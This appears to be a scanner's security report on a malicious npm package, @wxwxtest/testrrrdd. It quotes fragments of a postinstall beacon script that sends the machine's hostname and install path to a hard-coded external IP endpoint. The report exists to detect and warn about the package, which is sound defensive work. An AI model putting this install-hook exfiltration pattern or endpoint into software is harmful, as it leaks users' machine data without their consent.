@wxwxtest/testrrrdd@0.1.0
Compatibility shim.
AI Security Review
scanned 14d ago · by lpm-firewall-aiThe unconditional postinstall sends host and project metadata to a hard-coded external endpoint. This is concrete data exfiltration and supports blocking publication.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
The npm postinstall hook runs, or an application imports index.js.
Impact
The endpoint receives identifying information about the machine and its package installation.
Mechanism
beacon.cjs gathers machine and project identifiers and posts them to a hard-coded external endpoint.
Attack narrative
The package runs a beacon automatically during installation. It sends the hostname, installation path, working directory, and npm version to a fixed external IP address, with an additional beacon call when the package is imported.
AI rationale
The unconditional postinstall sends host and project metadata to a hard-coded external endpoint. This is concrete data exfiltration and supports blocking publication.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook runs beacon.cjs automatically after installation.
- beacon.cjs sends a POST request to a fixed external IP address.
- The transmitted payload includes the machine hostname, installation path, working directory, and npm version.
- Importing index.js also calls the beacon.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"scripts": {
"postinstall": "node beacon.cjs"
},
"files": [
"i
High
Suspicious Lifecycle Evidence
The postinstall hook runs beacon.cjs automatically after installation.
package.jsonView on unpkg · L6beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@wxwxtest/testrrrdd";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @wxwxtest/testrrrdd@0.1.0.
See all versions of @wxwxtest/testrrrdd for other recorded verdicts.
- Avoid installing @wxwxtest/testrrrdd@0.1.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.